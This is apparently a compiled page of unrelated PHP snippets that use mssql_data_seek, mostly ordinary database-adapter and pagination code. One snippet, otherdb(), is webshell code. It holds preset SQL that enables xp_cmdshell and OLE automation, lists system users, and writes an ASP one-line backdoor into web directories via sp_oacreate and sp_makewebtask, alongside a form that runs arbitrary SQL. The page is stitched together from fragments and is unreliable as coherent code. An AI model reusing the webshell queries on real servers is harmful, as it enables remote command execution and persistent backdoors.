public function set_result_pointer($offset = 0)
 {
     if ($this->num_rows()) {
         return mssql_data_seek($this->resource, $offset);
     }
     return false;
 }

 public function query($sql, $start = null, $perpage = null, $nolimit = false)
 {
     $start and !$perpage and $perpage = 10000;
     $query = mssql_query($sql, $this->dbConnection());
     if ($start) {
         $qcount = mssql_num_rows($query);
         if ($qcount < $start) {
             return array();
         } else {
             mssql_data_seek($query, $start);
         }
     }
     if ($query) {
         $result = array();
         while ($row = mssql_fetch_assoc($query)) {
             if (DBCHARSET == 'gbk' && CHARSET != 'gbk') {
                 $row = Base_Class::gbktoutf($row);
             }
             $result[] = $row;
             if ($perpage && count($result) >= $perpage) {
                 break;
             }
         }
         return $result;
     } else {
         $this->halt("数据库查询错误", $sql);
     }
 }

 /**
  * Seek
  *
  * @param   int offset
  * @return  bool success
  * @throws  rdbms.SQLException
  */
 public function seek($offset)
 {
     if (!mssql_data_seek($this->handle, $offset)) {
         throw new SQLException('Cannot seek to offset ' . $offset);
     }
     return TRUE;
 }

 function next()
 {
     $this->cur++;
     if ($this->cur > $this->max) {
         return false;
     }
     mssql_data_seek($this->res, $this->cur);
     return mssql_fetch_assoc($this->res);
 }

 /**
  * Constructor method for the adapter.  This constructor implements the setting of the
  * 3 required properties for the object.
  * 
  * @param resource $d The datasource resource
  */
 function mssqlAdapter($d)
 {
     parent::RecordSetAdapter($d);
     $fieldcount = mssql_num_fields($d);
     // grab the number of fields
     $ob = "";
     $be = $this->isBigEndian;
     $fc = pack('N', $fieldcount);
     if (mssql_num_rows($d) > 0) {
         mssql_data_seek($d, 0);
         while ($line = mssql_fetch_row($d)) {
             // write all of the array elements
             $ob .= "\n" . $fc;
             foreach ($line as $value) {
                 // write all of the array elements
                 if (is_string($value)) {
                     // type as string
                     $os = $this->_directCharsetHandler->transliterate($value);
                     //string flag, string length, and string
                     $len = strlen($os);
                     if ($len < 65536) {
                         $ob .= "" . pack('n', $len) . $os;
                     } else {
                         $ob .= "\f" . pack('N', $len) . $os;
                     }
                 } elseif (is_float($value) || is_int($value)) {
                     // type as double
                     $b = pack('d', $value);
                     // pack the bytes
                     if ($be) {
                         // if we are a big-endian processor
                         $r = strrev($b);
                     } else {
                         // add the bytes to the output
                         $r = $b;
                     }
                     $ob .= "" . $r;
                 } elseif (is_bool($value)) {
                     //type as bool
                     $ob .= "";
                     $ob .= pack('c', $value);
                 } elseif (is_null($value)) {
                     // null
                     $ob .= "";
                 }
             }
         }
     }
     $this->serializedData = $ob;
     for ($i = 0; $i < $fieldcount; $i++) {
         // loop over all of the fields
         $this->columnNames[] = $this->_directCharsetHandler->transliterate(mssql_field_name($d, $i));
     }
     $this->numRows = mssql_num_rows($d);
 }

 /**
  * Go to a row int the RecordSet.
  *
  * @param int $row Row to go to.
  * @return bool Returns TRUE on success, FALSE if failed.
  */
 function SetRow($row = 0)
 {
     if (!mssql_num_rows($this->result)) {
         return FALSE;
     }
     if (!mssql_data_seek($this->result, $row)) {
         return FALSE;
     }
     $this->row = $row;
     return TRUE;
 }

 public function query($sql)
 {
     LogMaster::log($sql);
     $res = mssql_query($sql, $this->connection, $this->start_from === false ? 10 : 0);
     if ($this->insert_operation) {
         $last = mssql_fetch_assoc($res);
         $this->last_id = $last["dhx_id"];
         mysql_free_result($res);
     }
     if ($this->start_from !== false) {
         mssql_data_seek($res, $this->start_from);
     }
     return $res;
 }

 /**
  * Constructor method for the adapter.  This constructor implements the setting of the
  * 3 required properties for the object.
  * 
  * @param resource $d The datasource resource
  */
 function mssqlAdapter($d)
 {
     parent::RecordSetAdapter($d);
     $fieldcount = mssql_num_fields($d);
     // grab the number of fields
     for ($i = 0; $i < $fieldcount; $i++) {
         // loop over all of the fields
         $this->columnNames[] = mssql_field_name($d, $i);
     }
     if (mssql_num_rows($d) > 0) {
         mssql_data_seek($d, 0);
         while ($line = mssql_fetch_row($d)) {
             $this->rows[] = $line;
         }
     }
 }

function db_dataseek($qhandle, $row)
{
    if ($row > 0) {
        mssql_data_seek($qhandle, $row);
    }
}

     p('<td nowrap>' . $tb['name'] . '<br><span>' . $tb['type'] . '(' . $tb['length'] . ') ' . ($tb['colstat'] ? '<b> - PRIMARY</b>' : '') . ($tb['autoval'] ? '<b> - Auto</b>' : '') . '</span></td>');
     $rowdb[$tb['name']]['Key'] = $tb['colstat'];
     $rowdb[$tb['name']]['Auto'] = $tb['autoval'];
     if ($tb['colstat']) {
         $keyfied = $tb['name'];
     }
 }
 p('</tr>');
 //直接浏览表按照主键降序排列
 if (strtolower(substr($query, 0, 13)) == 'select * from') {
     $query .= " order by {$keyfied} DESC";
 }
 $result = msq($query);
 $index = 0;
 if ($pagenum > 0) {
     mssql_data_seek($result, $start_limit);
 }
 while ($mn = @mssql_fetch_assoc($result)) {
     if ($index > $pagenum - 1) {
         break;
     }
     $thisbg = bg();
     p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
     $where = $tmp = $b1 = '';
     //选取条件字段用
     foreach ($mn as $key => $inside) {
         if ($inside) {
             //查找主键、唯一属性、自动增加的字段，找到就停止，否则组合所有字段作为条件。
             if ($rowdb[$key]['Key'] == 1 || $rowdb[$key]['Auto'] == 1) {
                 $where = $key . "='" . addslashes($inside) . "'";
                 break;

 /**
  * Get a number of records as a moodle_recordset using a SQL statement.
  *
  * Since this method is a little less readable, use of it should be restricted to
  * code where it's possible there might be large datasets being returned.  For known
  * small datasets use get_records_sql - it leads to simpler code.
  *
  * The return type is like:
  * @see function get_recordset.
  *
  * @param string $sql the SQL select query to execute.
  * @param array $params array of sql parameters
  * @param int $limitfrom return a subset of records, starting at this point (optional, required if $limitnum is set).
  * @param int $limitnum return a subset comprising this many records (optional, required if $limitfrom is set).
  * @return moodle_recordset instance
  * @throws dml_exception A DML specific exception is thrown for any errors.
  */
 public function get_recordset_sql($sql, array $params = null, $limitfrom = 0, $limitnum = 0)
 {
     list($limitfrom, $limitnum) = $this->normalise_limit_from_num($limitfrom, $limitnum);
     if ($limitfrom or $limitnum) {
         if (!$this->supportsoffsetfetch) {
             if ($limitnum >= 1) {
                 // Only apply TOP clause if we have any limitnum (limitfrom offset is handled later).
                 $fetch = $limitfrom + $limitnum;
                 if (PHP_INT_MAX - $limitnum < $limitfrom) {
                     // Check PHP_INT_MAX overflow.
                     $fetch = PHP_INT_MAX;
                 }
                 $sql = preg_replace('/^([\\s(])*SELECT([\\s]+(DISTINCT|ALL))?(?!\\s*TOP\\s*\\()/i', "\\1SELECT\\2 TOP {$fetch}", $sql);
             }
         } else {
             $sql = substr($sql, -1) === ';' ? substr($sql, 0, -1) : $sql;
             // We need order by to use FETCH/OFFSET.
             // Ordering by first column shouldn't break anything if there was no order in the first place.
             if (!strpos(strtoupper($sql), "ORDER BY")) {
                 $sql .= " ORDER BY 1";
             }
             $sql .= " OFFSET " . $limitfrom . " ROWS ";
             if ($limitnum > 0) {
                 $sql .= " FETCH NEXT " . $limitnum . " ROWS ONLY";
             }
         }
     }
     list($sql, $params, $type) = $this->fix_sql_params($sql, $params);
     $rawsql = $this->emulate_bound_params($sql, $params);
     $this->query_start($sql, $params, SQL_QUERY_SELECT);
     $result = mssql_query($rawsql, $this->mssql);
     $this->query_end($result);
     if ($limitfrom && !$this->supportsoffsetfetch) {
         // Skip $limitfrom records.
         if (!@mssql_data_seek($result, $limitfrom)) {
             // Nothing, most probably seek past the end.
             mssql_free_result($result);
             $result = null;
         }
     }
     return $this->create_recordset($result);
 }

 /**
  * Fetch a row and insert the data into an existing array.
  *
  * Formating of the array and the data therein are configurable.
  * See DB_result::fetchInto() for more information.
  *
  * @param resource $result    query result identifier
  * @param array    $arr       (reference) array where data from the row
  *                            should be placed
  * @param int      $fetchmode how the resulting array should be indexed
  * @param int      $rownum    the row number to fetch
  *
  * @return mixed DB_OK on success, null when end of result set is
  *               reached or on failure
  *
  * @see DB_result::fetchInto()
  * @access private
  */
 function fetchInto($result, &$arr, $fetchmode, $rownum = null)
 {
     if ($rownum !== null) {
         if (!@mssql_data_seek($result, $rownum)) {
             return null;
         }
     }
     if ($fetchmode & DB_FETCHMODE_ASSOC) {
         $arr = @mssql_fetch_array($result, MSSQL_ASSOC);
         if ($this->options['portability'] & DB_PORTABILITY_LOWERCASE && $arr) {
             $arr = array_change_key_case($arr, CASE_LOWER);
         }
     } else {
         $arr = @mssql_fetch_row($result);
     }
     if (!$arr) {
         /* This throws informative error messages,
               don't use it for now
            if ($msg = @mssql_get_last_message()) {
                return $this->raiseError($msg);
            }
            */
         return null;
     }
     if ($this->options['portability'] & DB_PORTABILITY_RTRIM) {
         $this->_rtrimArrayValues($arr);
     }
     if ($this->options['portability'] & DB_PORTABILITY_NULL_TO_EMPTY) {
         $this->_convertNullArrayValuesToEmpty($arr);
     }
     return DB_OK;
 }

 function limit($query, $offset, $pagesize = 0)
 {
     if ($pagesize > 0) {
         mssql_data_seek($query, $offset);
     } else {
         $pagesize = $offset;
     }
     $info = array();
     for ($i = 0; $i < $pagesize; $i++) {
         $r = $this->fetch_array($query);
         if (!$r) {
             break;
         }
         $info[] = $r;
     }
     $this->free_result($query);
     $this->cursor = 0;
     return $info;
 }

 function _seek($row)
 {
     return @mssql_data_seek($this->_queryID, $row);
 }

 /**
  * @see ResultSet::seek()
  */
 function seek($rownum)
 {
     // support emulated OFFSET
     $actual = $rownum + $this->offset;
     if ($this->limit > 0 && $rownum >= $this->limit || $rownum < 0) {
         // have to check for rownum < 0, because mssql_seek() won't
         // complain if the $actual is valid.
         return false;
     }
     // MSSQL rows start w/ 0, but this works, because we are
     // looking to move the position _before_ the next desired position
     if (!@mssql_data_seek($this->result, $actual)) {
         return false;
     }
     $this->cursorPos = $rownum;
     return true;
 }

 /**
  * Places a row from the result set into the given array
  *
  * Formating of the array and the data therein are configurable.
  * See DB_result::fetchInto() for more information.
  *
  * This method is not meant to be called directly.  Use
  * DB_result::fetchInto() instead.  It can't be declared "protected"
  * because DB_result is a separate object.
  *
  * @param resource $result    the query result resource
  * @param array    $arr       the referenced array to put the data in
  * @param int      $fetchmode how the resulting array should be indexed
  * @param int      $rownum    the row number to fetch (0 = first row)
  *
  * @return mixed  DB_OK on success, NULL when the end of a result set is
  *                 reached or on failure
  *
  * @see DB_result::fetchInto()
  */
 function fetchInto($result, &$arr, $fetchmode, $rownum = null)
 {
     if ($rownum !== null) {
         if (!@mssql_data_seek($result, $rownum)) {
             return null;
         }
     }
     if ($fetchmode & DB_FETCHMODE_ASSOC) {
         $arr = @mssql_fetch_assoc($result);
         if ($this->options['portability'] & DB_PORTABILITY_LOWERCASE && $arr) {
             $arr = array_change_key_case($arr, CASE_LOWER);
         }
     } else {
         $arr = @mssql_fetch_row($result);
     }
     if (!$arr) {
         return null;
     }
     if ($this->options['portability'] & DB_PORTABILITY_RTRIM) {
         $this->_rtrimArrayValues($arr);
     }
     if ($this->options['portability'] & DB_PORTABILITY_NULL_TO_EMPTY) {
         $this->_convertNullArrayValuesToEmpty($arr);
     }
     return DB_OK;
 }

    /**
     * Get a number of records as a moodle_recordset using a SQL statement.
     *
     * Since this method is a little less readable, use of it should be restricted to
     * code where it's possible there might be large datasets being returned.  For known
     * small datasets use get_records_sql - it leads to simpler code.
     *
     * The return type is as for @see function get_recordset.
     *
     * @param string $sql the SQL select query to execute.
     * @param array $params array of sql parameters
     * @param int $limitfrom return a subset of records, starting at this point (optional, required if $limitnum is set).
     * @param int $limitnum return a subset comprising this many records (optional, required if $limitfrom is set).
     * @return moodle_recordset instance
     * @throws dml_exception if error
     */
    public function get_recordset_sql($sql, array $params=null, $limitfrom=0, $limitnum=0) {
        $limitfrom = (int)$limitfrom;
        $limitnum  = (int)$limitnum;
        $limitfrom = ($limitfrom < 0) ? 0 : $limitfrom;
        $limitnum  = ($limitnum < 0)  ? 0 : $limitnum;
        if ($limitfrom or $limitnum) {
            if ($limitnum >= 1) { // Only apply TOP clause if we have any limitnum (limitfrom offset is handled later)
                $fetch = $limitfrom + $limitnum;
                $sql = preg_replace('/^([\s(])*SELECT([\s]+(DISTINCT|ALL))?(?!\s*TOP\s*\()/i',
                                    "\\1SELECT\\2 TOP $fetch", $sql);
            }
        }

        list($sql, $params, $type) = $this->fix_sql_params($sql, $params);
        $rawsql = $this->emulate_bound_params($sql, $params);

        $this->query_start($sql, $params, SQL_QUERY_SELECT);
        $result = mssql_query($rawsql, $this->mssql);
        $this->query_end($result);

        if ($limitfrom) { // Skip $limitfrom records
            mssql_data_seek($result, $limitfrom);
        }

        return $this->create_recordset($result);
    }

 public function to_array()
 {
     mssql_data_seek($this->result, 0);
     return mssql_fetch_array($this->result, MSSQL_NUM);
 }

function otherdb()
{
    $db = isset($_GET['db']) ? $_GET['db'] : 'ms';
    print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
<div class="actall">
<a href="?s=gg&db=ms"> &nbsp MSSQL &nbsp</a>
<a href="?s=gg&db=ora"> &nbsp Oracle &nbsp</a>
<a href="?s=gg&db=ifx"> &nbsp InforMix &nbsp</a>
<a href="?s=gg&db=fb"> &nbsp  FireBird &nbsp</a>
<a href="?s=gg&db=db2">&nbsp DB2 &nbsp</a></div></form>
END;
    if ($db == "ms") {
        $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
        $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa';
        $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
        $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
        $msaction = isset($_POST['action']) ? $_POST['action'] : '';
        $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
        $msquery = stripslashes($msquery);
        print <<<END
<div class="actall">
<form method="POST" name="msform" action="?s=gg&db=ms">
Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
\tStr[0] = "";
\tStr[1] = "select @@version;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select name from sysobject where type='U';";
\tStr[4] = "select name from syscolumns where id=Object_Id('table_name');";
\tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
\tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
\tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
\tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';";
\tStr[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
\tmsform.mssql.value = Str[i];
\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
\t<option value="5">sp_oacreate</option>
\t<option value="6">xp_cmdshell</option>
\t<option value="7">xp_cmdshell(2005)</option>
\t<option value="8">sp_oacreate(2005)</option>
\t<option value="9">����openrowset(2005)</option>
\t<option value="10">xp_cmdshell exec</option>
\t<option value="10">sp_oamethod exec</option>
\t<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></form></div>
END;
        if ($msaction == 'msquery') {
            $msconn = mssql_connect($mshost, $msuser, $mspass);
            mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
            $msresult = mssql_query($msquery) or die(mssql_get_last_message());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            mssql_data_seek($result, 0);
            while ($msrow = mssql_fetch_row($msresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                    echo '<td>' . "{$msrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            mssql_free_result($msresult);
            mssql_close();
        }
    } elseif ($db == "ora") {
        $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
        $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
        $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root';
        $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456';
        $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
        $oraaction = isset($_POST['action']) ? $_POST['action'] : '';
        $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
        $oraquery = stripslashes($oraquery);
        print <<<END
<form method="POST" name="oraform" action="?s=gg&db=ora">
<div class="actall">
Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
//.........这里部分代码省略.........

 /**
  * Get a number of records as a moodle_recordset using a SQL statement.
  *
  * Since this method is a little less readable, use of it should be restricted to
  * code where it's possible there might be large datasets being returned.  For known
  * small datasets use get_records_sql - it leads to simpler code.
  *
  * The return type is like:
  * @see function get_recordset.
  *
  * @param string $sql the SQL select query to execute.
  * @param array $params array of sql parameters
  * @param int $limitfrom return a subset of records, starting at this point (optional, required if $limitnum is set).
  * @param int $limitnum return a subset comprising this many records (optional, required if $limitfrom is set).
  * @return moodle_recordset instance
  * @throws dml_exception A DML specific exception is thrown for any errors.
  */
 public function get_recordset_sql($sql, array $params = null, $limitfrom = 0, $limitnum = 0)
 {
     list($limitfrom, $limitnum) = $this->normalise_limit_from_num($limitfrom, $limitnum);
     if ($limitfrom or $limitnum) {
         if ($limitnum >= 1) {
             // Only apply TOP clause if we have any limitnum (limitfrom offset is handled later)
             $fetch = $limitfrom + $limitnum;
             if (PHP_INT_MAX - $limitnum < $limitfrom) {
                 // Check PHP_INT_MAX overflow
                 $fetch = PHP_INT_MAX;
             }
             $sql = preg_replace('/^([\\s(])*SELECT([\\s]+(DISTINCT|ALL))?(?!\\s*TOP\\s*\\()/i', "\\1SELECT\\2 TOP {$fetch}", $sql);
         }
     }
     list($sql, $params, $type) = $this->fix_sql_params($sql, $params);
     $rawsql = $this->emulate_bound_params($sql, $params);
     $this->query_start($sql, $params, SQL_QUERY_SELECT);
     $result = mssql_query($rawsql, $this->mssql);
     $this->query_end($result);
     if ($limitfrom) {
         // Skip $limitfrom records
         if (!@mssql_data_seek($result, $limitfrom)) {
             // Nothing, most probably seek past the end.
             mssql_free_result($result);
             $result = null;
         }
     }
     return $this->create_recordset($result);
 }